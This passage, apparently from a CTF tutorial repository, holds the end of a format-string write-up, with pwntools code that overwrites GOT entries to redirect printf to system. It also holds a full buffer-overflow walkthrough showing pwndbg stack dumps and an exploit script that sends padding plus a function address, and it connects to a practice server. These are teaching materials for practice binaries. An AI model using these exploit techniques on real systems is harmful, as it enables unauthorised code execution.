this purpose. I like to use this one [Printf 153 | Exploit](https://github.com/Inndy/formatstring-exploit). 154 | 155 | Now that we can overwrite an arbitary memory address, we can start our exploit. 156 | 157 | The global offset table is a very nice target for our exploit. It'd be really 158 | nice if we could leak a libc address, overwrite a GOT entry to `system@libc` and 159 | jump to system. This process requires some creative thinking. 160 | 161 | A common technique in binary exploitation is to leak an address, then call 162 | `main` again. To do this we can overwrite the GOT entry for `exit` to the 163 | address of `main`. This will cause main to infinite loop, then we can leak a 164 | pointer. The function `main` is called by a libc function called 165 | `__libc_start_main`. We can print main's return address and we'll have a libc 166 | leak. 167 | 168 | Once we have a libc leak, we can compute the address for `system@libc` and 169 | overwrite the GOT entry for `printf`. Then if we cause the program to call 170 | `printf("/bin/sh")`, we'll actually call `system("/bin/sh")` and get a shell. 171 | 172 | To actually write this exploit we first load our binary and libc with some standard pwntools boilerplate. 173 | 174 | ```python 175 | from pwn import * 176 | from fmtstr import FormatString 177 | 178 | r = process('build/printf') 179 | e = ELF('build/printf') 180 | libc = ELF('/usr/lib/libc.so.6') 181 | 182 | # Create a new tmux pane with gdb when using gdb.attach() 183 | context.clear(arch='amd64') 184 | context.terminal = ["tmux", "splitw", "-h"] 185 | ``` 186 | 187 | We use the format string library to cause main to loop 188 | 189 | ```python 190 | # Cause main to loop 191 | # Offset is 6 since the first 5 args are registers 192 | fmt = FormatString(offset=6, written=0, bits=64) 193 | fmt[e.got['exit']] = e.symbols['main'] 194 | payload, sig = fmt.build() 195 | 196 | def dump(x): 197 | try: 198 | from hexdump import hexdump 199 | hexdump(x) 200 | except ImportError: 201 | import binascii, textwrap 202 | print('\n'.join(textwrap.wrap(binascii.hexlify(x), 32))) 203 | 204 | dump(payload) 205 | 206 | r.sendline(payload) 207 | ``` 208 | 209 | Then we leak the address that calls main from `__libc_start_main`. We have to 210 | account for the fact that main is recursively calling itself so there's an extra 211 | stackframe to jump over. Once we leak this value, we can use pwntools to find 212 | which address in libc calls main using `libc_start_main_return` and compute a 213 | difference to find the libc base offset. 214 | 215 | ```python 216 | # registers - 5 args 217 | # buffer - 256/8 = 32 args 218 | # rbp - 1 arg 219 | # rip - 1 arg 220 | # buffer - 256/8 = 32 args 221 | # rbp - 1 arg 222 | # 5 + 32 + 1 + 1 + 32 + 1 = 72 223 | # We need to skip the first 72 args to find main's ret address 224 | leak_str = b"%73$16p" 225 | 226 | r.sendline(leak_str) 227 | 228 | r.recvuntil("0x") 229 | x = r.recvline() 230 | leak = int(x.decode('ascii'),16) 231 | 232 | libc_offset = leak - libc.libc_start_main_return 233 | ``` 234 | 235 | Now we overwrite the GOT entry for `printf` to be `system`. After this code 236 | finishes we should just be able to type `/bin/sh` into the next iteration of 237 | main and we will get a shell. 238 | 239 | ```python 240 | fmt = FormatString(offset=6, written=0, bits=64) 241 | fmt[e.got['printf']] = libc_offset + libc.symbols['system'] 242 | payload, sig = fmt.build() 243 | 244 | def dump(x): 245 | try: 246 | from hexdump import hexdump 247 | hexdump(x) 248 | except ImportError: 249 | import binascii, textwrap 250 | print('\n'.join(textwrap.wrap(binascii.hexlify(x), 32))) 251 | 252 | dump(payload) 253 | 254 | r.sendline(payload) 255 | ``` 256 | -------------------------------------------------------------------------------- /pwn-jump.md: -------------------------------------------------------------------------------- 1 | This problem assumes you have some level of knowledge of how gdb/pwndbg works. 2 | If you use GEF, don't worry. They both work pretty much the same. If you don't 3 | know how to use them, review their respective tutorials first. 4 | 5 | After reversing the program, you should see that it prints out a few taunting 6 | messages, then calls `gets` on a buffer. From the last program, we know that 7 | `gets` is unsafe, and we can use it to overwrite data on the stack. However, 8 | first we have to figure out what to overwrite. To do this, we will first review 9 | how function calls work in assembly. Lets start stepping through how a normal 10 | function call works (any lines that start with pwndbg> are commands I entered, 11 | otherwise they are output. Output may be trimmed for brevity) 12 | 13 | ``` 14 | pwndbg> b main 15 | pwndbg> r 16 | pwndbg> n 3 17 | ► 0x4011bb call vuln 18 | ``` 19 | 20 | The call instruction in x86/64 assembly pushes the address of the next 21 | instruction onto the stack, and then jumps to the function. 22 | 23 | ``` 24 | pwndbg> si 25 | pwndbg> stack 26 | 00:0000│ rsp 0x7fffffffddc8 —▸ 0x4011c0 (main+30) ◂— mov eax, 0 27 | 01:0008│ rbp 0x7fffffffddd0 —▸ 0x401210 (__libc_csu_init) ◂— endbr64 28 | 02:0010│ 0x7fffffffddd8 —▸ 0x7ffff7df4152 (__libc_start_main+242) ◂— mov 29 | ``` 30 | 31 | Once we enter the `vuln` function, we can see that our return address (`0x4011c0`) is at the 32 | top of the stack. pwndbg helpfully annotates this value as `main+30`, which is 33 | the instruction after the call. Remeber that the stack is stored upside down in memory, so the 34 | top of the stack has a lower memory address than the bottom. Also, your stack 35 | addresses may be different than mine. Due to a security feature called ASLR, 36 | which is enabled on almost all systems, the stack is loaded in at a randomized 37 | address. This means your exploits should never rely on stack addresses being at 38 | the exact same spot every time. Instead, we will track things relative to `rsp` 39 | and `rbp`, as the offsets from those registers are not randomized. 40 | 41 | Next, we go through the functions prologue. This saves the old stack base 42 | pointer, then sets up the bottom and top of the stack for the new stack frame. 43 | Remember that `rbp` is the bottom of the current stack frame, and `rsp` is the 44 | top. 45 | 46 | ``` 47 | pwndbg> n 48 | ► 0x40117a push rbp 49 | 0x40117b mov rbp, rsp 50 | 0x40117e sub rsp, 0x70 51 | pwndbg> n 3 52 | pwndbg> stack 16 53 | 00:0000│ rsp 0x7fffffffdd50 —▸ 0x7ffff7f8f608 (stdout) —▸ 0x7ffff7f8f520 (_IO_2_1_stdout_) ◂— 0xfbad2a84 54 | 01:0008│ 0x7fffffffdd58 —▸ 0x7ffff7f90320 (__GI__IO_file_jumps) ◂— 0x0 55 | 02:0010│ 0x7fffffffdd60 ◂— 0x0 56 | 03:0018│ 0x7fffffffdd68 —▸ 0x7ffff7e4e3a9 (__GI__IO_do_write+25) ◂— cmp rbx, rax 57 | 04:0020│ 0x7fffffffdd70 ◂— 0xa /* '\n' */ 58 | 05:0028│ 0x7fffffffdd78 —▸ 0x7ffff7e4e813 (__GI__IO_file_overflow+259) ◂— cmp eax, -1 59 | 06:0030│ 0x7fffffffdd80 ◂— 0x3c /* '<' */ 60 | 07:0038│ 0x7fffffffdd88 —▸ 0x7ffff7f8f520 (_IO_2_1_stdout_) ◂— 0xfbad2a84 61 | 08:0040│ 0x7fffffffdd90 —▸ 0x402020 ◂— 'Haha! I removed the if statement! You can never hack me now!' 62 | 09:0048│ 0x7fffffffdd98 —▸ 0x7ffff7e434fa (puts+378) ◂— cmp eax, -1 63 | 0a:0050│ 0x7fffffffdda0 ◂— 0x0 64 | 0b:0058│ 0x7fffffffdda8 —▸ 0x7fffffffddd0 —▸ 0x401210 (__libc_csu_init) ◂— endbr64 65 | 0c:0060│ 0x7fffffffddb0 —▸ 0x401090 (_start) ◂— endbr64 66 | 0d:0068│ 0x7fffffffddb8 ◂— 0x0 67 | 0e:0070│ rbp 0x7fffffffddc0 —▸ 0x7fffffffddd0 —▸ 0x401210 (__libc_csu_init) ◂— endbr64 68 | 0f:0078│ 0x7fffffffddc8 —▸ 0x4011c0 (main+30) ◂— mov eax, 0 69 | ``` 70 | 71 | Now that the current stack frame is set up, we can seperate the stack into 3 72 | parts. At `[rbp+0x8]` we have the return value for the current stack frame. At 73 | `[rbp]` we have the saved `rbp` value for when the function returns, and at 74 | `[rbp-0x8]` through `[rsp]` we have the local stack data for the function. While 75 | it looks like this section of the stack frame is full of data, its actually all 76 | just junk left over from previous stack frames. All of it will get overwritten 77 | by the current stack frame as it executes. 78 | 79 | ``` 80 | pwndbg> n 5 81 | ► 0x40119a call gets@plt 82 | rdi: 0x7fffffffdd50 —▸ 0x7ffff7f8f608 (stdout) —▸ 0x7ffff7f8f520 (_IO_2_1_stdout_) ◂— 0xfbad2a84 83 | rsi: 0x4052a0 ◂— 'Gimme some input\nhe if statement! You can never hack me now!\n' 84 | rdx: 0x0 85 | rcx: 0x7ffff7ebcf67 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */ 86 | pwndbg> stack 16 87 | 00:0000│ rdi rsp 0x7fffffffdd50 —▸ 0x7ffff7f8f608 (stdout) —▸ 0x7ffff7f8f520 (_IO_2_1_stdout_) ◂— 0xfbad2a84 88 | 01:0008│ 0x7fffffffdd58 —▸ 0x7ffff7f90320 (__GI__IO_file_jumps) ◂— 0x0 89 | 02:0010│ 0x7fffffffdd60 ◂— 0x0 90 | 03:0018│ 0x7fffffffdd68 —▸ 0x7ffff7e4e3a9 (__GI__IO_do_write+25) ◂— cmp rbx, rax 91 | 04:0020│ 0x7fffffffdd70 ◂— 0xa /* '\n' */ 92 | 05:0028│ 0x7fffffffdd78 —▸ 0x7ffff7e4e813 (__GI__IO_file_overflow+259) ◂— cmp eax, -1 93 | 06:0030│ 0x7fffffffdd80 ◂— 0x3c /* '<' */ 94 | 07:0038│ 0x7fffffffdd88 —▸ 0x7ffff7f8f520 (_IO_2_1_stdout_) ◂— 0xfbad2a84 95 | 08:0040│ 0x7fffffffdd90 —▸ 0x402020 ◂— 'Haha! I removed the if statement! You can never hack me now!' 96 | 09:0048│ 0x7fffffffdd98 —▸ 0x7ffff7e434fa (puts+378) ◂— cmp eax, -1 97 | 0a:0050│ 0x7fffffffdda0 ◂— 0x0 98 | 0b:0058│ 0x7fffffffdda8 —▸ 0x7fffffffddd0 —▸ 0x401210 (__libc_csu_init) ◂— endbr64 99 | 0c:0060│ 0x7fffffffddb0 —▸ 0x401090 (_start) ◂— endbr64 100 | 0d:0068│ 0x7fffffffddb8 ◂— 0x0 101 | 0e:0070│ rbp 0x7fffffffddc0 —▸ 0x7fffffffddd0 —▸ 0x401210 (__libc_csu_init) ◂— endbr64 102 | 0f:0078│ 0x7fffffffddc8 —▸ 0x4011c0 (main+30) ◂— mov eax, 0 103 | ``` 104 | 105 | It's important to remember that pwndbg doesn't know everything about the binary 106 | we are stepping through. It often just has to make its best guess. For example, 107 | it annotates the call to `gets` with 4 parameters. However, we know from looking 108 | at the function signiture (type `man gets` in your terminal to see the 109 | documentation for the function) that `gets` only takes 1 parameter. Therefore, 110 | `gets` will only actually use the first parameter it is given (`rdi`). We can 111 | see from the stack diagram that `gets` is going to start writing at the top of 112 | the stack, and work its way down. Lets enter some data and see what happens. 113 | 114 | ``` 115 | pwndbg> n 116 | aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa 117 | pwndbg> stack 16 118 | 00:0000│ rax r8 rsp 0x7fffffffdd50 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa' 119 | 01:0008│ 0x7fffffffdd58 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa' 120 | 02:0010│ 0x7fffffffdd60 ◂— 'eaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa' 121 | 03:0018│ 0x7fffffffdd68 ◂— 'gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa' 122 | 04:0020│ 0x7fffffffdd70 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa' 123 | 05:0028│ 0x7fffffffdd78 ◂— 'kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa' 124 | 06:0030│ 0x7fffffffdd80 ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa' 125 | 07:0038│ 0x7fffffffdd88 ◂— 'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa' 126 | 08:0040│ 0x7fffffffdd90 ◂— 'qaaaraaasaaataaauaaavaaawaaaxaaayaaa' 127 | 09:0048│ 0x7fffffffdd98 ◂— 'saaataaauaaavaaawaaaxaaayaaa' 128 | 0a:0050│ 0x7fffffffdda0 ◂— 'uaaavaaawaaaxaaayaaa' 129 | 0b:0058│ 0x7fffffffdda8 ◂— 'waaaxaaayaaa' 130 | 0c:0060│ 0x7fffffffddb0 ◂— 0x61616179 /* 'yaaa' */ 131 | 0d:0068│ 0x7fffffffddb8 ◂— 0x0 132 | 0e:0070│ rbp 0x7fffffffddc0 —▸ 0x7fffffffddd0 —▸ 0x401210 (__libc_csu_init) ◂— endbr64 133 | 0f:0078│ 0x7fffffffddc8 —▸ 0x4011c0 (main+30) ◂— mov eax, 0 134 | ``` 135 | We can see that `gets` filled up the stack with our input. We entered 100 bytes 136 | (1 letter = 1 byte), and as such filled up `[rsp]` through `[rsp-100]`. Lets 137 | continue to the end of the function. 138 | 139 | ``` 140 | pwndbg> n 141 | ► 0x4011a0 leave 142 | 0x4011a1 ret 143 | ``` 144 | 145 | The leave instruction returns to the previous stack frame by setting `rsp` equal 146 | to `rbp`, and returning the saved value to `rbp`. Then, the ret instruction will 147 | pop a value from the stack (which is the same as accessing the value of `rsp` 148 | and adding `8` to `rsp`) into the instruction pointer. This means the program 149 | will jump to the value at `rsp` when `ret` is called. 150 | 151 | ``` 152 | pwndbg> stack 153 | 00:0000│ rsp 0x7fffffffddc8 —▸ 0x4011c0 (main+30) ◂— mov eax, 0 154 | 01:0008│ rbp 0x7fffffffddd0 —▸ 0x401210 (__libc_csu_init) ◂— endbr64 155 | 02:0010│ 0x7fffffffddd8 —▸ 0x7ffff7df4152 (__libc_start_main+242) ◂— mov edi, eax 156 | pwndbg> n 157 | ► 0x4011c0 mov eax, 0 158 | ``` 159 | 160 | Now that we fully understand how the `vuln` function works, we can try to 161 | exploit it. We will restart gdb, and step back into `vuln` 162 | 163 | ``` 164 | pwndbg> b main 165 | pwndbg> r 166 | pwndbg> n 3 167 | pwndbg> si 168 | pwndbg> n 9 169 | ► 0x40119a call gets@plt 170 | rdi: 0x7fffffffdd50 —▸ 0x7ffff7f8f608 (stdout) —▸ 0x7ffff7f8f520 (_IO_2_1_stdout_) ◂— 0xfbad2a84 171 | ``` 172 | 173 | Now that we are back at our gets call, we can try to exploit it. If we enter 174 | more data than `gets` expects, we can overwrite important values on the stack. 175 | The obvious target is the saved return value. If we overwrite that, we can 176 | control where the program jumps to. Lets try entering more bytes than it 177 | expects. Here we will send 128 bytes of data, 178 | 179 | ``` 180 | pwndbg> n 181 | aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab 182 | pwndbg> stack 16 183 | 00:0000│ rax r8 rsp 0x7fffffffdd50 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab' 184 | 01:0008│ 0x7fffffffdd58 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab' 185 | 02:0010│ 0x7fffffffdd60 ◂— 'eaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab' 186 | 03:0018│ 0x7fffffffdd68 ◂— 'gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab' 187 | 04:0020│ 0x7fffffffdd70 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab' 188 | 05:0028│ 0x7fffffffdd78 ◂— 'kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab' 189 | 06:0030│ 0x7fffffffdd80 ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab' 190 | 07:0038│ 0x7fffffffdd88 ◂— 'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab' 191 | 08:0040│ 0x7fffffffdd90 ◂— 'qaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab' 192 | 09:0048│ 0x7fffffffdd98 ◂— 'saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab' 193 | 0a:0050│ 0x7fffffffdda0 ◂— 'uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab' 194 | 0b:0058│ 0x7fffffffdda8 ◂— 'waaaxaaayaaazaabbaabcaabdaabeaabfaabgaab' 195 | 0c:0060│ 0x7fffffffddb0 ◂— 'yaaazaabbaabcaabdaabeaabfaabgaab' 196 | 0d:0068│ 0x7fffffffddb8 ◂— 'baabcaabdaabeaabfaabgaab' 197 | 0e:0070│ rbp 0x7fffffffddc0 ◂— 'daabeaabfaabgaab' 198 | 0f:0078│ 0x7fffffffddc8 ◂— 'faabgaab' 199 | ``` 200 | 201 | We can see that the saved return address has been overwritten with 'faabgaab'. 202 | Now, if we continue, the program will jump to this address 203 | 204 | ``` 205 | pwndbg> c 206 | ► 0x4011a1 ret <0x6261616762616166> 207 | ``` 208 | 209 | The program sigsevs on this instruction because it is trying to return to 210 | 0x6261616762616166 (which is just "faabgaab" treated as a number instead of a 211 | string), but it knows that this is not a valid memory address. Therefore, it 212 | errors out. However, what if we carefully designed our payload to make sure that 213 | we overwrite it with a valid memory address? Since making this payload by hand 214 | would be difficult, we use a python library called pwntools to do it for us. 215 | pwntools is incredibly useful and will be used in almost all pwn problems from 216 | now on. 217 | 218 | We know that faabgaab are the last 8 bytes of the 128 byte long sequence we 219 | used. These 8 bytes should be replaced by the address of the place we want to 220 | jump to. From reading the dissasembly we can see that `get_flag`, the function 221 | we want to jump to, is located at `0x4011c7`. Therefore, we know that we want 222 | 120 bytes of filler, and then our memory address as the last 8 bytes. We will 223 | use pwntools to create this payload. pwntools includes a function called `p64` 224 | that formats a number as a 64 bit (8 byte) integer. We will use this on our 225 | memory address to properly format it as 8 bytes. 226 | 227 | `payload = b"A"*120 + p64(0x4011c7)` 228 | 229 | If we send this to the program (full script is at the end of the writeup), the 230 | stack will look like this after calling gets 231 | 232 | ``` 233 | pwndbg> b gets 234 | pwndbg> c 235 | pwndbg> finish 236 | pwndbg> stack 16 237 | 00:0000│ rax r8 rsp 0x7fff3c268730 ◂— 0x4141414141414141 ('AAAAAAAA') 238 | ... ↓ 239 | 0f:0078│ 0x7fff3c2687a8 —▸ 0x4011c7 (get_flag) ◂— endbr64 240 | ``` 241 | 242 | We can see that where the return address used to be is now the address of 243 | `get_flag`. If we continue, a shell will open on our original window. Then, we 244 | can just run `cat flag.txt` to get the flag, and solve the problem! 245 | 246 | This technique is very common in pwn problems, and is called a buffer overflow. 247 | It can be caused by any function that writes to memory that the programmer 248 | didn't expect it would write to. In later tutorials we will see some ways buffer 249 | overflows can be prevented, and some way to use them. 250 | 251 | Side Note: While this process looks like it takes a long time, we can actually 252 | do it very quickly with the help of pwntools. Create a long pattern using the 253 | command `pwn cyclic 200` at the commandline. Run the program in gdb, and enter 254 | the pattern we generated. This will cause the program to sigsev on the ret 255 | instruction, and from that we can find a value like 0x6261616762616166. Put the 256 | last 4 bytes into the command `pwn cyclic -o 0x62616166`, and it will return the 257 | offset we should put our payload at to overwrite the return address. 258 | 259 | Exploit script (read pwntools for pwn in the tools tab for more explanation): 260 | 261 | ```python 262 | from pwn import * 263 | 264 | # context.terminal = ['konsole','-e'] if gdb.debug doesnt work, try changing this to your terminal of choice 265 | context.binary = 'jump' 266 | 267 | # three ways to start the binary. Local, remote, debugging. Uncomment 1 at a time to try them out 268 | # p = process('jump') # start binary 269 | # p = remote('forever.isss.io', 1303) # for connecting to the remote server 270 | # p = gdb.debug('jump') 271 | # We need the b there to make it a byte string. Python will mess with strings by default to make sure they are valid UTF-8, and we don't want that 272 | payload = b"A"*120 + p64(0x4011c7) # Address of get_flag 273 | 274 | p.sendline(payload) 275 | p.interactive() # hooks the program back up to our terminal (like we just ran it normally) 276 | ``` 277 | --------------------------------------------------------------------------------